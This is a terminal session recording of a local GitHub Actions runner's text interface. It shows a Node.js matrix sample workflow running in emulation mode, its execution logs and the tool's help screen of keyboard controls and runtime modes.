[16.641208, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[16.651941, "o", "\u001b[62;25H\u001b[1m\u001b[38;5;2mEXECUTION\u001b[22m\u001b[39m | \u001b[38;5;15m1 workflow(s) loaded\u001b[39m \u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[16.784548, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[16.914359, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[17.043188, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[17.168699, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[17.302973, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[17.434667, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[17.563747, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[17.698021, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[17.830232, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[17.960893, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[18.064539, "o", "\u001b[5;6H\u001b[1m\u001b[38;5;7m\u001b[48;5;8m⏭ \u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[18.170252, "o", "\u001b[5;6H\u001b[1m\u001b[38;5;6m\u001b[48;5;8m⟳ \u001b[39mmatrix-sample.yml \u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[18.277033, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[18.399268, "o", "\u001b[5;6H\u001b[1m\u001b[38;5;2m\u001b[48;5;8m✅\u001b[5;8H \u001b[39mmatrix-sample.yml\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[18.528672, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[18.661147, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[18.787055, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[18.919126, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[18.931589, "o", "\u001b[2;3H\u001b[4m\u001b[38;5;3mW\u001b[24m\u001b[38;5;15morkflows\u001b[2;15H\u001b[1m\u001b[38;5;3m\u001b[48;5;8mE\u001b[4mx\u001b[24mecution\u001b[4;1H\u001b[22m\u001b[39m\u001b[49m \u001b[5;1H ╭\u001b[38;5;3m Workflow Information \u001b[39m───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────"]
|
||||
[18.93173, "o", "────────────╮ \u001b[6;1H │\u001b[38;5;4mWorkflow: \u001b[1m\u001b[38;5;15mmatrix-sample.yml\u001b[6;244H\u001b[22m\u001b[39m│ \u001b[7;1H │\u001b[38;5;4mStatus: \u001b[38;5;2mSuccess\u001b[7;244H\u001b[39m│ \u001b[8;1H │\u001b[8;244H│ \u001b[9;1H ╰─\u001b[38;5;0m\u001b[48;5;2m 100% \u001b[39m\u001b[49m─╯ \u001b[10;1H ╭\u001b[38;5;3m Jobs \u001b[39m───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────"]
|
||||
[18.931793, "o", "────────────────────────────────────────────────────────────────────╮ \u001b[11;1H │\u001b[1m\u001b[48;5;8m» \u001b[38;5;2m✅\u001b[11;7H\u001b[39m \u001b[38;5;15mtest\u001b[39m \u001b[38;5;8m[6/6]\u001b[39m \u001b[22m\u001b[49m│ \u001b[12;1H │\u001b[12;244H│ \u001b[13;1H │\u001b[13;244H│ \u001b[14;1H │\u001b[14;244H│ \u001b[15;1H │\u001b[15;244H│ \u001b[16;1H │\u001b[16;244H│ \u001b[17;1H │\u001b[17;244H│ \u001b[18;1H │\u001b[18;244H│ \u001b[19;1H │\u001b[19;244H│ \u001b[20;1H │\u001b[20;244H│ \u001b[21;1H │\u001b[21;244H│ \u001b[22;1H │\u001b[22;244H│ \u001b[23;1H │\u001b[23;244H│ \u001b[24;1H │\u001b[24;244H│ \u001b[25;1H │\u001b[25;244H│ \u001b[26;1H │\u001b[26;244H│ \u001b[27;1H │\u001b[27;244H│ \u001b[28;1H │\u001b[28;244H│ \u001b[29;1H │\u001b[29;244H│ \u001b[30;1H │\u001b[30;244H│ \u001b[31;1H │\u001b[31;244H│ \u001b[32;"]
|
||||
[18.931844, "o", "1H │\u001b[32;244H│ \u001b[33;1H │\u001b[33;244H│ \u001b[34;1H │\u001b[34;244H│ \u001b[35;1H │\u001b[35;244H│ \u001b[36;1H │\u001b[36;244H│ \u001b[37;1H │\u001b[37;244H│ \u001b[38;1H │\u001b[38;244H│ \u001b[39;1H │\u001b[39;244H│ \u001b[40;1H │\u001b[40;244H│ \u001b[41;1H │\u001b[41;244H│ \u001b[42;1H │\u001b[42;244H│ \u001b[43;1H │\u001b[43;244H│ \u001b[44;1H │\u001b[44;244H│ \u001b[45;1H │\u001b[45;244H│ \u001b[46;1H │\u001b[46;244H│ \u001b[47;1H │\u001b[47;244H│ \u001b[48;1H │\u001b[48;244H│ \u001b[49;1H │\u001b[49;244H│ \u001b[50;1H │\u001b[50;244H│ \u001b[51;1H │\u001b[51;244H│ \u001b[52;1H │\u001b[52;244H│ \u001b[53;1H │\u001b[53;244H│ \u001b[54;1H ╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────"]
|
||||
[18.932035, "o", "──────────────────────────────────────────────────────────────────────────────╯ \u001b[55;1H ╭\u001b[38;5;3m Execution Information \u001b[39m──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮ \u001b[56;1H │\u001b[38;5;4mStarted: \u001b[38;5;15m2025-04-14 16:58:50\u001b[56;244H\u001b[39m│ \u001b[57"]
|
||||
[18.932223, "o", ";1H │\u001b[38;5;4mFinished: \u001b[38;5;15m2025-04-14 16:58:51\u001b[57;244H\u001b[39m│ \u001b[58;1H │\u001b[38;5;4mDuration: \u001b[38;5;15m0m 0s\u001b[58;244H\u001b[39m│ \u001b[59;1H │\u001b[59;244H│ \u001b[60;1H ╰─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯ \u001b[61;1H "]
|
||||
[18.932292, "o", " \u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[19.062456, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[19.19704, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[19.329947, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[19.46069, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[19.593307, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[19.727646, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[19.862029, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[19.986345, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[20.121406, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[20.253468, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[20.280115, "o", "\u001b[5;4H\u001b[38;5;3mJ\u001b[5;6Hb Details (1/1) \u001b[39m───\u001b[6;3H\u001b[38;5;4mJ\u001b[6;5Hb: \u001b[1m\u001b[38;5;15mtest\u001b[22m\u001b[39m \u001b[8;2H╰─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯\u001b[9;2H╭\u001b[38;5;3m Steps \u001b[39m─────────────────────────────────────────────"]
|
||||
[20.28027, "o", "────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────\u001b[9;244H╮\u001b[10;2H│\u001b[1m \u001b[38;5;3mStatus \u001b[39m \u001b[38;5;3mStep Name \u001b[39m \u001b[38;5;3mDuration \u001b[39m \u001b[22m│\u001b[11;3H\u001b[48;5;8m» \u001b[38;5;2m✅\u001b[11;7H \u001b[39m Step 1 "]
|
||||
[20.280379, "o", " \u001b[38;5;8m1s \u001b[39m \u001b[12;5H\u001b[38;5;2m\u001b[49m✅\u001b[12;7H \u001b[12;14H\u001b[39mSetup\u001b[12;20HNode.js\u001b[12;184H\u001b[38;5;8m1s \u001b[13;5H\u001b[38;5;2m✅\u001b[13;7H \u001b[13;14H\u001b[39mDisplay\u001b[13;22Hconfiguration\u001b[13;184H\u001b[38;5;8m1s \u001b[14;5H\u001b[38;5;2m✅\u001b[14;7H \u001b[14;14H\u001b[39mDisplay\u001b[14;22Hexperimental\u001b[14;35Hinfo\u001b[14;184H\u001b[38;5;8m1s \u001b[15;2H\u001b[39m╰──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────"]
|
||||
[20.280456, "o", "───────────────────────────────────────────────────────────╯\u001b[16;2H╭\u001b[38;5;3m Output \u001b[39m─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮\u001b[17;3HEmulated\u001b[17;12Hcheckout:\u001b[17;22HCopied\u001b[17;29Hcurrent\u001b[17;37Hdirectory\u001b[17;47Hto\u001b[17;50Hworkspace\u001b[54;"]
|
||||
[20.280561, "o", "2H│ │\u001b[55;2H│ │\u001b[56;3H \u001b[57;3H \u001b[58;3H \u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[20.414497, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[20.547823, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[20.681956, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[20.813925, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[20.946198, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[21.080467, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[21.214928, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[21.342948, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[21.357497, "o", "\u001b[11;3H \u001b[38;5;2m✅\u001b[11;7H \u001b[39m Step 1 \u001b[38;5;8m1s \u001b[39m \u001b[12;3H\u001b[48;5;8m» \u001b[38;5;2m✅\u001b[12;7H \u001b[39m Setup Node.js \u001b[38;5;8m1s \u001b[39m \u001b[17;3H\u001b[49mWo\u001b[17;7Hd \u001b[17;10Hxe\u001b[17;13Hute Gi\u001b[17;20HHub action: actions/se\u001b[17;43Hup-node@v3 \u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[21.487132, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[21.616902, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[21.748424, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[21.754544, "o", "\u001b[12;3H \u001b[38;5;2m✅\u001b[12;7H \u001b[39m Setup Node.js \u001b[38;5;8m1s \u001b[39m \u001b[13;3H\u001b[48;5;8m» \u001b[38;5;2m✅\u001b[13;7H \u001b[39m Display configuration \u001b[38;5;8m1s \u001b[39m \u001b[17;3H\u001b[49mOS: ${{ matrix.os }}\u001b[17;24H \u001b[17;32H \u001b[18;3HNode\u001b[18;8Hversion:\u001b[18;17H${{\u001b[18;21Hmatrix.node\u001b[18;33H}}\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[21.886911, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[22.017905, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[22.115503, "o", "\u001b[13;3H \u001b[38;5;2m✅\u001b[13;7H \u001b[39m Display configuration \u001b[38;5;8m1s \u001b[39m \u001b[14;3H\u001b[48;5;8m» \u001b[38;5;2m✅\u001b[14;7H \u001b[39m Display experimental info \u001b[38;5;8m1s \u001b[39m \u001b[17;3H\u001b[49mThis is\u001b[17;11Han experimental\u001b[17;27Hconfiguration\u001b[18;3H \u001b[18;8H \u001b[18;17H \u001b[18;21H \u001b[18;33H \u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[22.247846, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[22.38119, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[22.508359, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[22.523721, "o", "\u001b[11;15Hetup Node.js\u001b[12;14HDisplay configuration\u001b[13;22Hexperimen\u001b[13;32Hal info\u001b[14;14H\u001b[48;5;8mBuild \u001b[14;22H \u001b[14;35H \u001b[17;3H\u001b[49mBu\u001b[17;6Hld\u001b[17;9Hng with Node ${{ matrix.node }}\u001b[17;41Hon\u001b[17;44H${{\u001b[17;48Hmatrix.os\u001b[17;58H}}\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[22.659626, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[22.793112, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[22.926161, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[22.937765, "o", "\u001b[11;14HDisplay configuration\u001b[12;22Hexperimen\u001b[12;32Hal info\u001b[13;14HBuild \u001b[13;22H \u001b[13;35H \u001b[14;14H\u001b[48;5;8mTest \u001b[17;3H\u001b[49mTesting with Node ${\u001b[17;24H matrix.node }\u001b[17;39H on ${\u001b[17;46H matrix.os }\u001b[17;59H \u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[23.07002, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[23.203337, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[23.332554, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[23.344968, "o", "\u001b[11;3H\u001b[48;5;8m» \u001b[38;5;2m✅\u001b[11;7H \u001b[39m Step 1 \u001b[38;5;8m1s \u001b[39m \u001b[12;14H\u001b[49mSetup Node.js \u001b[12;35H \u001b[13;14HDisplay\u001b[13;22Hconfiguration\u001b[14;3H \u001b[38;5;2m✅\u001b[14;7H \u001b[39m Display experimental info \u001b[38;5;8m1s \u001b[39m \u001b[17;3HEmulated check\u001b[17;18Hut: Copied current\u001b[17;37Hdirectory\u001b[17;47Hto workspace\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[23.478939, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[23.613183, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[23.739675, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[23.872886, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[24.000068, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[24.127087, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[24.151011, "o", "\u001b[2;15H\u001b[38;5;15mE\u001b[4m\u001b[38;5;3mx\u001b[24m\u001b[38;5;15mecution\u001b[2;27H\u001b[1m\u001b[4m\u001b[38;5;3m\u001b[48;5;8mL\u001b[24mogs\u001b[4;1H\u001b[22m\u001b[39m\u001b[49m╭\u001b[38;5;3m Execution Logs \u001b[39m───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮\u001b[5;1H│ "]
|
||||
[24.15119, "o", " │\u001b[6;1H│ \u001b[6;244H │\u001b[7;1H│ \u001b[7;244H │\u001b[8;1H│ │\u001b[9;1H│ │\u001b[10;1H│ │\u001b[11;1H│ "]
|
||||
[24.151338, "o", " │\u001b[12;1H│ \u001b[12;5H \u001b[12;14H \u001b[12;20H \u001b[12;184H \u001b[12;244H │\u001b[13;1H│ \u001b[13;5H \u001b[13;14H \u001b[13;22H \u001b[13;184H \u001b[13;244H │\u001b[14;1H│ \u001b[14;5H \u001b[14;14H \u001b[14;22H \u001b[14;35H \u001b[14;184H \u001b[14;244H │\u001b[15;1H│ │\u001b[16;1H│ │\u001b[17;1H│ \u001b[17;12H \u001b[17;22H \u001b[17;29H \u001b[17;37H \u001b[17;47H \u001b[17"]
|
||||
[24.151489, "o", ";50H \u001b[17;244H │\u001b[18;1H│ \u001b[18;244H │\u001b[19;1H│ \u001b[19;244H │\u001b[20;1H│\u001b[38;5;7m16:58:51 ℹ️\u001b[20;13H All workflows completed execution\u001b[20;244H\u001b[39m │\u001b[21;1H│\u001b[38;5;2m16:58:51 ✅\u001b[21;13H Workflow 'matrix-sample.yml' completed successfully\u001b[21;244H\u001b[39m │\u001b[22;1H│\u001b[38;5;7m16:58:51 ℹ️\u001b[22;13H Emulating container: ubuntu:latest\u001b[22;244H\u001b[39m │\u001b[23;1H│\u001b[38;5;7m16:58:51 ℹ️\u001b[23;13H 🔄\u001b[23;16H Emulation: Pretending to pull image ubuntu:latest\u001b[23;244H\u001b[39m │\u001b[24;1H│\u001b[38;5;7m16:58:51 ℹ️\u001b[24;13H Emulating container: ubuntu:latest\u001b[24;244H\u001b[39m │\u001b[25;1H│\u001b[38;5;7m16:58:51 ℹ️\u001b[25;13H 🔄\u001b[25;16H Emulation: Pretending to pull image ubuntu:latest\u001b[25;244H\u001b[39m │\u001b[26;1H│\u001b[38;5;7m16:58:51 ℹ️\u001b[26;13H Emulating container: ubuntu:latest\u001b[26;244H\u001b[39m │\u001b[27;1H│\u001b[38;5;7m16:58:51 ℹ️\u001b[27;13H 🔄\u001b[27;16H Emulation: Pretending to pull image ubuntu:latest\u001b[27;244H\u001b[39m │\u001b[28;1H│\u001b[38;5;7m16:58:51 ℹ️\u001b[28;13H Emulating container: ubuntu:latest\u001b[28;244H\u001b[39m "]
|
||||
[24.151613, "o", "│\u001b[29;1H│\u001b[38;5;7m16:58:51 ℹ️\u001b[29;13H 🔄\u001b[29;16H Emulation: Pretending to pull image ubuntu:latest\u001b[29;244H\u001b[39m │\u001b[30;1H│\u001b[38;5;7m16:58:50 ℹ️\u001b[30;13H Emulating container: node:16-buster-slim\u001b[30;244H\u001b[39m │\u001b[31;1H│\u001b[38;5;7m16:58:50 ℹ️\u001b[31;13H Executing job: test\u001b[31;244H\u001b[39m │\u001b[32;1H│\u001b[38;5;7m16:58:50 ℹ️\u001b[32;13H 🔄\u001b[32;16H Emulation: Pretending to pull image ubuntu:latest\u001b[32;244H\u001b[39m │\u001b[33;1H│\u001b[38;5;1m16:58:50 ❌\u001b[33;13H Docker not available, falling back to emulation mode\u001b[33;244H\u001b[39m │\u001b[34;1H│\u001b[38;5;1m16:58:50 ❌\u001b[34;13H Docker ping failed: error trying to connect: No such file or directory (os error 2)\u001b[34;244H\u001b[39m │\u001b[35;1H│\u001b[38;5;7m16:58:50 ℹ️\u001b[35;13H Runtime: Docker\u001b[35;244H\u001b[39m │\u001b[36;1H│\u001b[38;5;7m16:58:50 ℹ️\u001b[36;13H Executing workflow: .github/workflows/matrix-sample.yml\u001b[36;244H\u001b[39m │\u001b[37;1H│\u001b[38;5;7m16:58:50 ℹ️\u001b[37;13H Executing workflow: matrix-sample.yml\u001b[37;244H\u001b[39m │\u001b[38;1H│\u001b[38;5;7m16:58:50 ℹ️\u001b[38;13H Starting w"]
|
||||
[24.151688, "o", "orkflow execution...\u001b[38;244H\u001b[39m │\u001b[39;1H│\u001b[38;5;7m16:58:50 ℹ️\u001b[39;13H Starting workflow execution...\u001b[39;244H\u001b[39m │\u001b[40;1H│\u001b[38;5;7m16:58:50 ℹ️\u001b[40;13H Queued 1 workflow(s) for execution\u001b[40;244H\u001b[39m │\u001b[41;1H│\u001b[38;5;7m16:58:48 ℹ️\u001b[41;13H All workflows completed execution\u001b[41;244H\u001b[39m │\u001b[42;1H│\u001b[38;5;2m16:58:48 ✅\u001b[42;13H Workflow 'matrix-sample.yml' completed successfully\u001b[42;244H\u001b[39m │\u001b[43;1H│\u001b[38;5;7m16:58:48 ℹ️\u001b[43;13H Executing workflow: matrix-sample.yml\u001b[43;244H\u001b[39m │\u001b[44;1H│\u001b[38;5;7m16:58:48 ℹ️\u001b[44;13H Starting workflow validation...\u001b[44;244H\u001b[39m │\u001b[45;1H│\u001b[38;5;7m16:58:48 ℹ️\u001b[45;13H Starting workflow execution...\u001b[45;244H\u001b[39m │\u001b[46;1H│\u001b[38;5;7m16:58:48 ℹ️\u001b[46;13H Queued 1 workflow(s) for execution\u001b[46;244H\u001b[39m │\u001b[47;1H│\u001b[38;5;7mAll workflows completed execution\u001b[47;244H\u001b[39m │\u001b[48;1H│\u001b[38;5;2mWorkflow 'matrix-sample.yml' execution completed with status: Success\u001b[48;244H\u001b[39m │\u001b[49;1H│\u001b[38;5;7mExecuting workflow: matrix"]
|
||||
[24.15175, "o", "-sample.yml\u001b[49;244H\u001b[39m │\u001b[50;1H│\u001b[38;5;7mStarting workflow execution...\u001b[50;244H\u001b[39m │\u001b[51;1H│\u001b[38;5;7mStarting workflow execution...\u001b[51;244H\u001b[39m │\u001b[52;1H│\u001b[38;5;7mQueued 1 workflow(s) for execution\u001b[52;244H\u001b[39m │\u001b[53;1H│\u001b[38;5;7mSwitched to execution mode\u001b[53;244H\u001b[39m │\u001b[54;1H│\u001b[38;5;7mAll workflows completed execution\u001b[54;244H\u001b[39m │\u001b[55;1H│\u001b[38;5;2mWorkflow 'matrix-sample.yml' execution completed with status: Success\u001b[55;244H\u001b[39m │\u001b[56;1H│\u001b[38;5;7mExecuting workflow: matrix-sample.yml\u001b[56;244H\u001b[39m │\u001b[57;1H│\u001b[38;5;7mStarting workflow validation...\u001b[57;244H\u001b[39m │\u001b[58;1H│\u001b[38;5;7mStarting workflow execution...\u001b[58;244H\u001b[39m │\u001b[59;1H│\u001b[38;5;7mQueued 1 workflow(s) for execution\u001b[59;244H\u001b[39m │\u001b[60;1H│\u001b[38;5;7mSwitched to validation mode\u001b[39m │"]
|
||||
[24.151817, "o", "\u001b[61;1H╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[24.281882, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[24.4173, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[24.54963, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[24.682524, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[24.815202, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[24.949974, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[25.08343, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[25.219803, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[25.354999, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[25.49029, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[25.621656, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[25.757919, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[25.893744, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[26.026147, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[26.161623, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[26.295421, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[26.306456, "o", "\u001b[2;27H\u001b[4m\u001b[38;5;3mL\u001b[24m\u001b[38;5;15mogs\u001b[2;34H\u001b[1m\u001b[4m\u001b[38;5;3m\u001b[48;5;8mH\u001b[24melp\u001b[4;3H\u001b[22m\u001b[49mHelp \u001b[39m──────────\u001b[5;2H\u001b[1m\u001b[38;5;6mKeyboard Controls\u001b[7;2H\u001b[38;5;3mTab\u001b[7;6H\u001b[22m\u001b[39m-\u001b[7;8HSwitch\u001b[7;15Hbetween\u001b[7;23Htabs\u001b[8;2H\u001b[1m\u001b[38;5;3m1-4\u001b[8;6H\u001b[22m\u001b[39m-\u001b[8;8HSwitch\u001b[8;15Hdirectly\u001b[8;24Hto\u001b[8;27Htab\u001b[9;2H\u001b[1m\u001b[38;5;3mUp/Down or j/k\u001b[9;17H\u001b[22m\u001b[39m-\u001b[9;19HNavigate\u001b[9;28Hlists\u001b[10;2H\u001b[1m\u001b[38;5;3mSpace\u001b[10;8H\u001b[22m\u001b[39m-\u001b[10;10HToggle\u001b[10;17Hworkflow\u001b[10;26Hselection\u001b[11;2H\u001b[1m\u001b[38;5;3mEnter\u001b[11;8H\u001b[22m\u001b[39m-\u001b[11;10HRun\u001b[11;14Hselected\u001b[11;23Hworkflow\u001b[11;32H/\u001b[11;34HView\u001b[11;39Hjob\u001b[11;43Hdetails\u001b[12;2H\u001b[1m\u001b[38;5;3mr\u001b[12;4H\u001b[22m\u001b[39m-\u001b[12;6HRun\u001b[12;10Hall\u001b[12;14Hselected\u001b[12;23Hworkflows\u001b[13;2H\u001b[1m\u001b[38;5;3ma\u001b[13;4H\u001b[22m\u001b[39m-\u001b[13;6HSelect\u001b[13;13Hall\u001b[13;17Hworkflows\u001b[14;2H\u001b[1m\u001b[38;5;3me\u001b[14;4H\u001b[22m\u001b[39m-\u001b[14;6HToggle\u001b[14;13Hbetween\u001b[14;21HDocker\u001b[14;28Hand\u001b[14;32HEmulation\u001b[14;42Hmode\u001b[15;2H\u001b[1m\u001b[38;5;3mv\u001b[15;4H\u001b[22m\u001b[39m-\u001b[15;6HToggle\u001b[15;13Hbetween\u001b[15;21HExecution\u001b[15;31Hand\u001b[15"]
|
||||
[26.306586, "o", ";35HValidation\u001b[15;46Hmode\u001b[16;2H\u001b[1m\u001b[38;5;3mn\u001b[16;4H\u001b[22m\u001b[39m-\u001b[16;6HDeselect\u001b[16;15Hall\u001b[16;19Hworkflows\u001b[17;2H\u001b[1m\u001b[38;5;3mEsc\u001b[17;6H\u001b[22m\u001b[39m-\u001b[17;8HBack\u001b[17;13H/\u001b[17;15HExit\u001b[17;20Hdetailed\u001b[17;29Hview\u001b[18;2H\u001b[1m\u001b[38;5;3mq\u001b[18;4H\u001b[22m\u001b[39m-\u001b[18;6HQuit\u001b[18;11Happlication\u001b[20;2H\u001b[1m\u001b[38;5;6mRuntime Modes\u001b[22m\u001b[39m \u001b[21;2H \u001b[22;2H\u001b[1m\u001b[38;5;4mDocker\u001b[22m\u001b[39m - Uses Docker to run workflows (default)\u001b[23;2H\u001b[1m\u001b[38;5;5mEmulation\u001b[22m\u001b[39m - Emulates GitHub Actions environment locally (no Docker\u001b[23;69Hrequired)\u001b[24;2H \u001b[25;2H \u001b[26;2H \u001b[27;2H \u001b[28;2H \u001b[29;2H \u001b[30;2H "]
|
||||
[26.306736, "o", " \u001b[31;2H \u001b[32;2H \u001b[33;2H \u001b[34;2H \u001b[35;2H \u001b[36;2H \u001b[37;2H \u001b[38;2H \u001b[39;2H \u001b[40;2H \u001b[41;2H \u001b[42;2H \u001b[43;2H \u001b[44;2H \u001b[45;2H \u001b[46;2H \u001b[47;2H \u001b[48;2H "]
|
||||
[26.30684, "o", " \u001b[49;2H \u001b[50;2H \u001b[51;2H \u001b[52;2H \u001b[53;2H \u001b[54;2H \u001b[55;2H \u001b[56;2H \u001b[57;2H \u001b[58;2H \u001b[59;2H \u001b[60;2H \u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
[26.437058, "o", "\u001b[39m\u001b[49m\u001b[59m\u001b[0m\u001b[?25l"]
|
||||
